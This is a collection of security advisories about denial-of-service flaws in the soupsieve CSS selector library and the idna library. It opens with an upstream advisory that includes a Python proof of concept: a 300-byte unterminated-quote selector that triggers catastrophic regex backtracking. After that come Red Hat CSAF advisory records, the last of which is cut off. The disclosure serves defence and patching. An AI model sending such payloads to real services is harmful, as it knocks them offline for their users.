  "details": "### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.\n\nTo be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.\n\nAny application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup\u0027s `.select()` / `.select_one()` is affected.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern\n\nThe soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`\"value\"` or `\u0027value\u0027`) and unquoted identifiers. The regex contains alternation branches for:\n\n1. Double-quoted strings: `\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"`\n2. Single-quoted strings: `\u0027[^\u0027\\\\]*(?:\\\\.[^\u0027\\\\]*)*\u0027`\n3. Unquoted identifiers\n\nWhen an attribute selector contains an **unterminated quoted value** - e.g., `[a=\"xxxx...` (opening `\"` but no closing `\"`) -\u201d the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.\n\n**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.\n\n**Key characteristics:**\n- **Input size:** Only 300 bytes are needed to trigger a \u003e3 second hang\n- **Amplification:** Each additional character approximately doubles the backtracking time\n- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)\n\n### Proof of Concept\n\n```python\nimport time\nimport soupsieve as sv\n\nPAYLOAD_LEN = 300\n\n# Control: well-formed selector with terminated quote (completes instantly)\nwell_formed = \u0027[a=\"\u0027 + (\u0027x\u0027 * PAYLOAD_LEN) + \u0027\"]\u0027\nstart = time.perf_counter()\ntry:\n    sv.compile(well_formed)\nexcept Exception:\n    pass\ncontrol_time = time.perf_counter() - start\nprint(f\"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s\")\n\n# Exploit: unterminated quote triggers catastrophic regex backtracking\nmalformed = \u0027[a=\"\u0027 + (\u0027x\u0027 * PAYLOAD_LEN)\nstart = time.perf_counter()\ntry:\n    sv.compile(malformed)  # WARNING: This will hang for \u003e3 seconds\nexcept Exception:\n    pass\nexploit_time = time.perf_counter() - start\nprint(f\"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s\")\n\nslowdown = exploit_time / max(control_time, 1e-9)\nprint(f\"Slowdown: {slowdown:.0f}x\")\n\n# Expected output:\n# Well-formed selector (306 bytes): ~0.001s\n# Malformed selector (304 bytes): \u003e3.0s (may need to be killed)\n# Slowdown: \u003e3000x\n#\n# NOTE: On some systems the malformed selector may hang indefinitely.\n# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.\n```\n\n**Safe testing variant with timeout:**\n\n```python\nimport signal\nimport soupsieve as sv\n\ndef timeout_handler(signum, frame):\n    raise TimeoutError(\"ReDoS confirmed: regex backtracking exceeded timeout\")\n\nPAYLOAD_LEN = 300\nmalformed = \u0027[a=\"\u0027 + (\u0027x\u0027 * PAYLOAD_LEN)\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(3)  # 3-second timeout\n\ntry:\n    sv.compile(malformed)\n    print(\"Selector compiled (not vulnerable)\")\nexcept TimeoutError as e:\n    print(f\"VULNERABLE: {e}\")\nexcept Exception as e:\n    print(f\"Other error: {e}\")\nfinally:\n    signal.alarm(0)  # Cancel the alarm\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:\n\n1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits\n2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a=\"xxx...`)\n3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable\n4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)\n\n| Parameter | Value |\n|---|---|\n| Input size | 300 bytes |\n| CPU time consumed | \u003e3 seconds (exponential with payload length) |\n| Memory consumed | Negligible (CPU-only attack) |\n| Authentication required | None |\n| User interaction required | None |\n\n**Deployment impact:** In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.\n\n---\n\n### Credit\n\nThe vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/",
  "id": "PYSEC-2026-3072",
  "modified": "2026-07-13T16:06:20.022009Z",
  "published": "2026-07-13T15:46:30.094646Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/facelessuser/soupsieve"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/soupsieve"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-836r-79rf-4m37"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49477"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser"
}

RHSA-2026:23992

Vulnerability from csaf_redhat - Published: 2026-06-07 00:53 - Updated: 2026-07-15 15:31

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Severity

Important

Notes

Topic: An update for Red Hat Hardened Images RPMs is now available.

Details: This update includes the following RPMs: python-attrs: * python3-attrs-26.1.0-3.hum1 (noarch) * python-attrs-26.1.0-3.hum1.src (src)

Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.

CVE-2026-49476

A flaw was found in soupsieve, a CSS selector library used with Beautiful Soup 4. This vulnerability allows a remote attacker to cause a denial of service (DoS) by supplying a specially crafted CSS selector string. The parser allocates unbounded memory when compiling large, comma-separated selector lists, leading to excessive memory consumption and system instability.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-770 - Allocation of Resources Without Limits or Throttling

Affected products

Fixed 2 products

Product	Identifier	Version	Remediation
Unresolved product id: Red Hat Hardened Images:python-attrs-main@noarch		—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:python-attrs-main@src		—	Vendor Fix fix Workaround

Threats

Impact Important

CVE-2026-49477

A flaw was found in soupsieve, a CSS selector library. This vulnerability allows a remote attacker to cause a Denial of Service (DoS) by supplying specially crafted, untrusted CSS selector strings. The flaw occurs due to a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value, leading to CPU exhaustion.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-1333 - Inefficient Regular Expression Complexity

Affected products

Fixed 2 products

Product	Identifier	Version	Remediation
Unresolved product id: Red Hat Hardened Images:python-attrs-main@noarch		—	Vendor Fix fix
Unresolved product id: Red Hat Hardened Images:python-attrs-main@src		—	Vendor Fix fix

Threats

Impact Important

References

19 references

URL	Category
https://access.redhat.com/errata/RHSA-2026:23992	self
https://images.redhat.com/	external
https://access.redhat.com/security/cve/CVE-2026-49477	external
https://access.redhat.com/security/updates/classi…	external
https://access.redhat.com/security/cve/CVE-2026-49476	external
https://security.access.redhat.com/data/csaf/v2/a…	self
https://access.redhat.com/security/cve/CVE-2026-49476	self
https://bugzilla.redhat.com/show_bug.cgi?id=2500715	external
https://www.cve.org/CVERecord?id=CVE-2026-49476	external
https://nvd.nist.gov/vuln/detail/CVE-2026-49476	external
https://github.com/facelessuser/soupsieve/commit/…	external
https://github.com/facelessuser/soupsieve/release…	external
https://github.com/facelessuser/soupsieve/securit…	external
https://access.redhat.com/security/cve/CVE-2026-49477	self
https://bugzilla.redhat.com/show_bug.cgi?id=2500752	external
https://www.cve.org/CVERecord?id=CVE-2026-49477	external
https://nvd.nist.gov/vuln/detail/CVE-2026-49477	external
https://github.com/facelessuser/soupsieve/commit/…	external
https://github.com/facelessuser/soupsieve/securit…	external

JSON

To clipboard

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://access.redhat.com/security/updates/classification/",
      "text": "Important"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "An update for Red Hat Hardened Images RPMs is now available.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "This update includes the following RPMs:\n\npython-attrs:\n  * python3-attrs-26.1.0-3.hum1 (noarch)\n  * python-attrs-26.1.0-3.hum1.src (src)",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://access.redhat.com/security/team/contact/",
      "issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
      "name": "Red Hat Product Security",
      "namespace": "https://www.redhat.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "https://access.redhat.com/errata/RHSA-2026:23992",
        "url": "https://access.redhat.com/errata/RHSA-2026:23992"
      },
      {
        "category": "external",
        "summary": "https://images.redhat.com/",
        "url": "https://images.redhat.com/"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-49477",
        "url": "https://access.redhat.com/security/cve/CVE-2026-49477"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/updates/classification/",
        "url": "https://access.redhat.com/security/updates/classification/"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-49476",
        "url": "https://access.redhat.com/security/cve/CVE-2026-49476"
      },
      {
        "category": "self",
        "summary": "Canonical URL",
        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_23992.json"
      }
    ],
    "title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update",
    "tracking": {
      "current_release_date": "2026-07-15T15:31:33+00:00",
      "generator": {
        "date": "2026-07-15T15:31:33+00:00",
        "engine": {
          "name": "Red Hat SDEngine",
          "version": "5.3.6"
        }
      },
      "id": "RHSA-2026:23992",
      "initial_release_date": "2026-06-07T00:53:38+00:00",
      "revision_history": [
        {
          "date": "2026-06-07T00:53:38+00:00",
          "number": "1",
          "summary": "Initial version"
        },
        {
          "date": "2026-07-15T10:50:15+00:00",
          "number": "2",
          "summary": "Last updated version"
        },
        {
          "date": "2026-07-15T15:31:33+00:00",
          "number": "3",
          "summary": "Last generated version"
        }
      ],
      "status": "final",
      "version": "3"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_name",
                "name": "Red Hat Hardened Images",
                "product": {
                  "name": "Red Hat Hardened Images",
                  "product_id": "Red Hat Hardened Images",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:redhat:hummingbird:1"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "Red Hat Hardened Images"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "python-attrs-main@src",
                "product": {
                  "name": "python-attrs-main@src",
                  "product_id": "python-attrs-main@src",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/python-attrs@26.1.0-3.hum1?arch=src\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-source-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "src"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "python-attrs-main@noarch",
                "product": {
                  "name": "python-attrs-main@noarch",
                  "product_id": "python-attrs-main@noarch",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/python3-attrs@26.1.0-3.hum1?arch=noarch\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-x86_64-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "noarch"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python-attrs-main@noarch as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:python-attrs-main@noarch"
        },
        "product_reference": "python-attrs-main@noarch",
        "relates_to_product_reference": "Red Hat Hardened Images"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python-attrs-main@src as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:python-attrs-main@src"
        },
        "product_reference": "python-attrs-main@src",
        "relates_to_product_reference": "Red Hat Hardened Images"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-49476",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-07-14T22:01:41.402642+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2500715"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in soupsieve, a CSS selector library used with Beautiful Soup 4. This vulnerability allows a remote attacker to cause a denial of service (DoS) by supplying a specially crafted CSS selector string. The parser allocates unbounded memory when compiling large, comma-separated selector lists, leading to excessive memory consumption and system instability.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "soupsieve: python-soupsieve: Soupsieve: Denial of Service via crafted CSS selector string",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "An uncontrolled resource consumption vulnerability was found in the soupsieve Python package, a CSS selector library used by BeautifulSoup4. A remote attacker could provide a crafted CSS selector string that causes excessive memory or CPU consumption, leading to a denial of service condition. Red Hat ships soupsieve as a dependency in multiple products including OpenShift, Ceph Storage, RHOAI, Satellite, Ansible Automation Platform, OpenStack Platform, CNV, Lightspeed, and various container images.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:python-attrs-main@noarch",
          "Red Hat Hardened Images:python-attrs-main@src"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-49476"
        },
        {
          "category": "external",
          "summary": "RHBZ#2500715",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2500715"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-49476",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49476"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-49476",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49476"
        },
        {
          "category": "external",
          "summary": "https://github.com/facelessuser/soupsieve/commit/28108ab805818c832d9568142a99844fd95a0d39",
          "url": "https://github.com/facelessuser/soupsieve/commit/28108ab805818c832d9568142a99844fd95a0d39"
        },
        {
          "category": "external",
          "summary": "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4",
          "url": "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4"
        },
        {
          "category": "external",
          "summary": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x",
          "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x"
        }
      ],
      "release_date": "2026-07-14T20:53:12.497000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-06-07T00:53:38+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:python-attrs-main@noarch",
            "Red Hat Hardened Images:python-attrs-main@src"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:23992"
        },
        {
          "category": "workaround",
          "details": "There is no mitigation for this flaw other than updating the soupsieve package when upstream patches are available. The impact is limited to availability (denial of service) \u2014 an attacker cannot access or modify data through this vulnerability. Applications that do not process untrusted CSS selector strings are at reduced risk.",
          "product_ids": [
            "Red Hat Hardened Images:python-attrs-main@noarch",
            "Red Hat Hardened Images:python-attrs-main@src"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:python-attrs-main@noarch",
            "Red Hat Hardened Images:python-attrs-main@src"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "soupsieve: python-soupsieve: Soupsieve: Denial of Service via crafted CSS selector string"
    },
    {
      "cve": "CVE-2026-49477",
      "cwe": {
        "id": "CWE-1333",
        "name": "Inefficient Regular Expression Complexity"
      },
      "discovery_date": "2026-07-14T22:04:22.677547+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2500752"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in soupsieve, a CSS selector library. This vulnerability allows a remote attacker to cause a Denial of Service (DoS) by supplying specially crafted, untrusted CSS selector strings. The flaw occurs due to a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value, leading to CPU exhaustion.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "soupsieve: Soupsieve: Denial of Service via crafted CSS selector strings",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Important: A regular expression denial of service (ReDoS) flaw in the soupsieve library can lead to CPU exhaustion. A remote attacker can exploit this by supplying a small, specially crafted CSS selector string to applications that process untrusted CSS, potentially blocking worker threads and causing a complete service denial in affected Red Hat products.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:python-attrs-main@noarch",
          "Red Hat Hardened Images:python-attrs-main@src"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-49477"
        },
        {
          "category": "external",
          "summary": "RHBZ#2500752",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2500752"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-49477",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49477"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-49477",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49477"
        },
        {
          "category": "external",
          "summary": "https://github.com/facelessuser/soupsieve/commit/eb4397618709186c109400448c6043b728217dc3",
          "url": "https://github.com/facelessuser/soupsieve/commit/eb4397618709186c109400448c6043b728217dc3"
        },
        {
          "category": "external",
          "summary": "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4",
          "url": "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4"
        },
        {
          "category": "external",
          "summary": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37",
          "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37"
        }
      ],
      "release_date": "2026-07-14T20:51:29.369000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-06-07T00:53:38+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:python-attrs-main@noarch",
            "Red Hat Hardened Images:python-attrs-main@src"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:23992"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:python-attrs-main@noarch",
            "Red Hat Hardened Images:python-attrs-main@src"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "soupsieve: Soupsieve: Denial of Service via crafted CSS selector strings"
    }
  ]
}

RHSA-2026:34119

Vulnerability from csaf_redhat - Published: 2026-07-01 09:00 - Updated: 2026-07-15 15:31

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Severity

Important

Notes

Topic: An update for Red Hat Hardened Images RPMs is now available.

Details: This update includes the following RPMs: python-rpds-py: * python3-rpds-py-2026.6.3-1.hum1 (aarch64, x86_64) * python-rpds-py-2026.6.3-1.hum1.src (src)

Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.

CVE-2026-45409

A flaw was found in the idna library, which handles Internationalized Domain Names in Python applications. A remote attacker could exploit this vulnerability by sending specially crafted, excessively long inputs to the library's encoding function. This could cause the system to consume significant resources, leading to a Denial of Service (DoS), where the affected application becomes unavailable to legitimate users. This issue stems from an incomplete fix for a previously identified vulnerability.

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE-770 - Allocation of Resources Without Limits or Throttling

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:python-rpds-py-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:python-rpds-py-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:python-rpds-py-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

CVE-2026-49476

A flaw was found in soupsieve, a CSS selector library used with Beautiful Soup 4. This vulnerability allows a remote attacker to cause a denial of service (DoS) by supplying a specially crafted CSS selector string. The parser allocates unbounded memory when compiling large, comma-separated selector lists, leading to excessive memory consumption and system instability.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-770 - Allocation of Resources Without Limits or Throttling

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:python-rpds-py-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:python-rpds-py-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:python-rpds-py-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Important

CVE-2026-49477

A flaw was found in soupsieve, a CSS selector library. This vulnerability allows a remote attacker to cause a Denial of Service (DoS) by supplying specially crafted, untrusted CSS selector strings. The flaw occurs due to a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value, leading to CPU exhaustion.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-1333 - Inefficient Regular Expression Complexity

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:python-rpds-py-main@aarch64	—	Vendor Fix fix
Unresolved product id: Red Hat Hardened Images:python-rpds-py-main@src	—	Vendor Fix fix
Unresolved product id: Red Hat Hardened Images:python-rpds-py-main@x86_64	—	Vendor Fix fix

Threats

Impact Important

References

25 references

URL	Category
https://access.redhat.com/errata/RHSA-2026:34119	self
https://images.redhat.com/	external
https://access.redhat.com/security/cve/CVE-2026-45409	external
https://access.redhat.com/security/updates/classi…	external
https://access.redhat.com/security/cve/CVE-2026-49477	external
https://access.redhat.com/security/cve/CVE-2026-49476	external
https://security.access.redhat.com/data/csaf/v2/a…	self
https://access.redhat.com/security/cve/CVE-2026-45409	self
https://bugzilla.redhat.com/show_bug.cgi?id=2485616	external
https://www.cve.org/CVERecord?id=CVE-2026-45409	external
https://nvd.nist.gov/vuln/detail/CVE-2026-45409	external
https://github.com/kjd/idna/security/advisories/G…	external
https://access.redhat.com/security/cve/CVE-2026-49476	self
https://bugzilla.redhat.com/show_bug.cgi?id=2500715	external
https://www.cve.org/CVERecord?id=CVE-2026-49476	external
https://nvd.nist.gov/vuln/detail/CVE-2026-49476	external
https://github.com/facelessuser/soupsieve/commit/…	external
https://github.com/facelessuser/soupsieve/release…	external
https://github.com/facelessuser/soupsieve/securit…	external
https://access.redhat.com/security/cve/CVE-2026-49477	self
https://bugzilla.redhat.com/show_bug.cgi?id=2500752	external
https://www.cve.org/CVERecord?id=CVE-2026-49477	external
https://nvd.nist.gov/vuln/detail/CVE-2026-49477	external
https://github.com/facelessuser/soupsieve/commit/…	external
https://github.com/facelessuser/soupsieve/securit…	external

JSON

To clipboard

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://access.redhat.com/security/updates/classification/",
      "text": "Important"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "An update for Red Hat Hardened Images RPMs is now available.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "This update includes the following RPMs:\n\npython-rpds-py:\n  * python3-rpds-py-2026.6.3-1.hum1 (aarch64, x86_64)\n  * python-rpds-py-2026.6.3-1.hum1.src (src)",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://access.redhat.com/security/team/contact/",
      "issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
      "name": "Red Hat Product Security",
      "namespace": "https://www.redhat.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "https://access.redhat.com/errata/RHSA-2026:34119",
        "url": "https://access.redhat.com/errata/RHSA-2026:34119"
      },
      {
        "category": "external",
        "summary": "https://images.redhat.com/",
        "url": "https://images.redhat.com/"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-45409",
        "url": "https://access.redhat.com/security/cve/CVE-2026-45409"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/updates/classification/",
        "url": "https://access.redhat.com/security/updates/classification/"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-49477",
        "url": "https://access.redhat.com/security/cve/CVE-2026-49477"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-49476",
        "url": "https://access.redhat.com/security/cve/CVE-2026-49476"
      },
      {
        "category": "self",
        "summary": "Canonical URL",
        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_34119.json"
      }
    ],
    "title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update",
    "tracking": {
      "current_release_date": "2026-07-15T15:31:33+00:00",
      "generator": {
        "date": "2026-07-15T15:31:33+00:00",
        "engine": {
          "name": "Red Hat SDEngine",
          "version": "5.3.6"
        }
      },
      "id": "RHSA-2026:34119",
      "initial_release_date": "2026-07-01T09:00:32+00:00",
      "revision_history": [
        {
          "date": "2026-07-01T09:00:32+00:00",
          "number": "1",
          "summary": "Initial version"
        },
        {
          "date": "2026-07-15T10:50:18+00:00",
          "number": "2",
          "summary": "Last updated version"
        },
        {
          "date": "2026-07-15T15:31:33+00:00",
          "number": "3",
          "summary": "Last generated version"
        }
      ],
      "status": "final",
      "version": "3"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_name",
                "name": "Red Hat Hardened Images",
                "product": {
